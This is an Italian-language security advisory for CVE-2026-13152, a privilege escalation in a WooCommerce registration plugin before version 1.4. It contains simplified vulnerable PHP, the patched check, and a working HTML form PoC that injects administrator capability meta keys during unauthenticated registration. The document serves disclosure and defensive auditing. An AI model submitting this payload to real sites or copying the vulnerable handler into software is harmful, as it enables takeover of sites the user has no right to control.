
CVE-2026-13152: Custom Fields Account Registration For WooCommerce Unauthenticated Privilege Escalation PoC & Advisory by Huynh Kien Minh (MinhHK).
CVE-2026-13152 è una vulnerabilità di escalation dei privilegi non autenticata che colpisce il plugin WordPress Custom Fields Account Registration For WooCommerce precedente alla versione 1.4, scoperta e analizzata dal ricercatore di sicurezza Huynh Kien Minh (MinhHK). Il difetto si verifica perché il plugin consente ai campi di input personalizzati della registrazione di scrivere direttamente nei metadati sensibili delle capacità utente senza sanificare le chiavi di database protette né validare i ruoli utente. Su siti che utilizzano prefissi di tabelle di database non predefiniti o mapping personalizzati delle meta key utente, un utente non autenticato che si registra tramite il modulo di registrazione di WooCommerce può iniettare privilegi di amministratore (come wp_user_level o wp_capabilities) nella tabella wp_usermeta. Ciò garantisce all'account appena creato pieno accesso amministrativo, consentendo la compromissione completa e remota del sito. Il ricercatore di sicurezza Huynh Kien Minh ha segnalato la vulnerabilità a WPScan e il fornitore ha risolto il problema nella versione 1.4 implementando la validazione dei nomi delle chiavi e limitando l'assegnazione delle meta relative alle capacità.
Il plugin Custom Fields Account Registration For WooCommerce consente agli amministratori del sito di definire campi di input personalizzati nel modulo di registrazione utente di WooCommerce (endpoint di registrazione my-account). Quando un nuovo utente invia il modulo di registrazione, il plugin scorre i campi del modulo inviati e chiama update_user_meta($user_id, $meta_key, $meta_value) per salvare i dettagli dell'utente.
Il difetto sottostante risiede nella logica di elaborazione dell'input all'interno del gestore della registrazione. Il plugin non mantiene una blacklist o whitelist rigorosa delle meta key utente protette di WordPress (wp_capabilities, wp_user_level, session_tokens, wp_user_roles).
// Vulnerable registration handler logic (simplified demonstration)
add_action('woocommerce_created_customer', 'cfar_save_custom_registration_fields', 10, 3);
function cfar_save_custom_registration_fields($customer_id, $new_customer_data, $password_generated) {
if (isset($_POST['cfar_custom_fields']) && is_array($_POST['cfar_custom_fields'])) {
foreach ($_POST['cfar_custom_fields'] as $meta_key => $meta_value) {
// VULNERABILITY: No check against protected meta keys like wp_capabilities or wp_user_level
update_user_meta($customer_id, sanitize_text_field($meta_key), sanitize_text_field($meta_value));
}
}
}
Sulle installazioni WordPress che utilizzano prefissi di database personalizzati o configurazioni personalizzate delle meta key, un attaccante non autenticato può fornire un campo di input personalizzato corrispondente alla chiave delle capacità di amministratore (wp_user_level = 10 o array serializzato a:1:{s:13:"administrator";b:1;}). Alla creazione dell'account, update_user_meta() scrive questo valore direttamente in wp_usermeta, elevando l'account appena registrato allo stato di Amministratore completo.
[!CAUTION] Questa Proof-of-Concept è fornita esclusivamente a scopo didattico, per audit difensivi e verifica della vulnerabilità. Solo test autorizzati.
<!-- CVE-2026-13152 PoC: Unauthenticated Privilege Escalation Payload -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>PoC - CVE-2026-13152 Privilege Escalation</title>
</head>
<body>
<h2>CVE-2026-13152 Exploit Payload</h2>
<form action="https://target-site.com/my-account/" method="POST">
<input type="email" name="email" value="[email protected]" required>
<input type="password" name="password" value="P@ssword123!" required>
<!-- Malicious Meta Key Injection targeting User Level -->
<input type="hidden" name="cfar_custom_fields[wp_user_level]" value="10">
<input type="hidden" name="cfar_custom_fields[wp_capabilities][administrator]" value="1">
<input type="submit" name="register" value="Register as Administrator">
</form>
</body>
</html>
Custom Fields Account Registration For WooCommerce alla versione 1.4 o superiore, dove viene applicata una rigorosa validazione delle meta key.// Secure implementation in Version 1.4
$protected_keys = array('wp_capabilities', 'wp_user_level', 'user_level', 'session_tokens');
if (!in_array($meta_key, $protected_keys, true) && strpos($meta_key, 'wp_') !== 0) {
update_user_meta($customer_id, $meta_key, $meta_value);
}
{
"@context": "https://schema.org",
"@graph": [
{
"@type": "TechArticle",
"@id": "https://github.com/MinhHK68/CVE-2026-13152#article",
"headline": "Deep-Dive Technical Write-up by Huynh Kien Minh: CVE-2026-13152 — Custom Fields Account Registration For WooCommerce Privilege Escalation",
"name": "CVE-2026-13152 Technical Analysis",
"author": {
"@type": "Person",
"@id": "https://minhhk.web.app/#person",
"name": "Huynh Kien Minh",
"alternateName": ["MinhHK", "Huỳnh Kiến Minh"],
"jobTitle": "Information Security Researcher",
"url": "https://minhhk.web.app/"
},
"datePublished": "2026-07-06",
"dateModified": "2026-08-01",
"description": "Comprehensive technical analysis and PoC for CVE-2026-13152, an unauthenticated privilege escalation vulnerability in Custom Fields Account Registration For WooCommerce < 1.4 discovered by Huynh Kien Minh."
},
{
"@type": "SpecialAnnouncement",
"@id": "https://github.com/MinhHK68/CVE-2026-13152#advisory",
"name": "CVE-2026-13152 Security Advisory",
"category": "https://schema.org/SecurityAdvisory",
"text": "Unauthenticated Privilege Escalation in Custom Fields Account Registration For WooCommerce < 1.4 allows remote attackers to gain administrator rights."
}
]
}
| Attributo | Dettagli |
|---|
| ID CVE | CVE-2026-13152 |
| Nome del plugin | Custom Fields Account Registration For WooCommerce |
| Slug del plugin | custom-fields-account-registration-for-woocommerce |
| Versioni interessate | < 1.4 |
| Versione corretta | 1.4 |
| Tipo di vulnerabilità | Escalation dei privilegi non autenticata (CWE-269 / OWASP A2) |
| Punteggio CVSS v3.1 | 8.1 (Alto) (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Ricercatore originale | Huynh Kien Minh (MinhHK) |
| ID dell'advisory WPScan | 36aaba38-3143-4e80-8386-748632ff6704 |